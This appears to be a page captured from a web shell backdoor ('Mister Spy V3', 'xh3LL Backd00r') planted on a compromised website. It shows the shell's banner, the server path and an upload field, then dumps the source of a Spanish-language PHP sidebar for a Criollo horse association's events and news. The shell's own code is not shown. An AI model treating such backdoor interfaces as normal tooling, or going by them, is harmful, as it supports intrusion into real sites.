Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/
Upload File :
Current File : /home/caballoscriollos/public_html/web/ssi_sidebar.php

<div class="sidebar">
	<?php
	if ($arrEventosHome) {
	?>
	<div class="sidebar__single sidebar__post">
		<div class="sidebar__title-box">
			<h3 class="sidebar__title">Calendario</h3>
		</div>
		<ul class="sidebar__post-list list-unstyled">
			<?php
			foreach ($arrEventosHome as $oEvento) {
			?>
			<li>
                <div class="sidebar__post-image">
				<?php
                if ($oEvento->Imagen) {
                ?>
                    <img src="<?= str_replace('../', '', Evento::PathImageBig) . $oEvento->Imagen ?>" alt="<?= $oEvento->Titulo ?>">
                
                <?php
                } else {
                ?>
                	<img src="assets/images/accc.jpg" alt="">
                <?php
                }
                ?>
                </div>
				<div class="sidebar__post-content">
					<p class="sidebar__post-date"><span class="fas fa-calendar"></span><?= FechaLetras($oEvento->Fecha) ?>
					<h3 class="sidebar__post-title"><a href="eventos_detalle.php?IdEvento=<?= $oEvento->IdEvento ?>"><?= $oEvento->Titulo ?></a></h3>
					</p>
				</div>
			</li>
			<?php
			}
			?>
			<li>
				<div class="comment-form__btn-box w-100 mt-2">
		    		<button type="button" class="thm-btn-two comment-form__btn-box w-100" onclick="window.location.href='calendario.php';">
		    		VER CALENDARIO COMPLETO</button>
		    	</div> 
			</li>

		</ul>
	</div>
	<?php
	}
	?>
	<div class="row">
		<div class="col-xl-12 col-lg-12 mt-4">
			<img src="assets/images/banners/banner_galicia.gif" class="w-100" alt="">
		</div>
		<div class="col-xl-12 col-lg-12 mt-4">
			<img src="assets/images/banners/banner_equidiet.gif" class="w-100" alt="">
		</div>

	</div>
	<?php
	if (count($arrNoticiasHome) > 5) {
	?>
	<div class="sidebar__single sidebar__post mt-4">
		<div class="sidebar__title-box">
			<h3 class="sidebar__title">Ăšltimas noticias</h3>
		</div>
		<ul class="sidebar__post-list list-unstyled">
			<?php
			for ($i=5; $i < count($arrNoticiasHome) && $i < 8; $i++) { 
				$oNoticia = $arrNoticiasHome[$i];
				$oCategoria = $oCategorias->GetById($oNoticia->IdCategoria);
				$arrFecha = explode('-', $oNoticia->Fecha);
			?>
			<li>
				<div class="sidebar__post-image">
					<?php
	                if ($oNoticia->Imagen && file_exists(str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen)) {
	                ?>
	                <img src="<?= str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen ?>" alt="">
	                <?php
	                } else {
	                ?>
	                <img src="assets/images/accc.jpg" alt="">
	                <?php
	                }
	                ?>
				</div>
				<div class="sidebar__post-content">
					<p class="sidebar__post-date"><span class="fas fa-calendar"></span><?= FechaLetras($oNoticia->Fecha) ?>
					</p>
					<h3 class="sidebar__post-title"><a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>"><?= $oNoticia->Titulo ?></a></h3>
				</div>
			</li>
			<?php
			}
			?>
			<li>
				<div class="comment-form__btn-box w-100 mt-2">
		    		<button type="button" class="thm-btn-two comment-form__btn-box w-100" onclick="window.location.href='noticias.php';">
		    		VER TODAS LAS NOTICIAS</button>
		    	</div> 
			</li>

		</ul>
	</div>	

	<?php
	}
	?>
	<div class="row">

		<div class="col-xl-12 col-lg-12 mt-4">
			<a href="calendario.php"><img src="assets/images/banner_calendario.jpg" class="w-100 mb-20" alt="Calendario ACCC"></a>
			<a href="noticias_detalle.php?IdNoticia=96"><img src="assets/images/banner_ser_socio.jpg" class="w-100" alt="Sea Socio"></a>
			
		</div>

	</div>	
</div>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat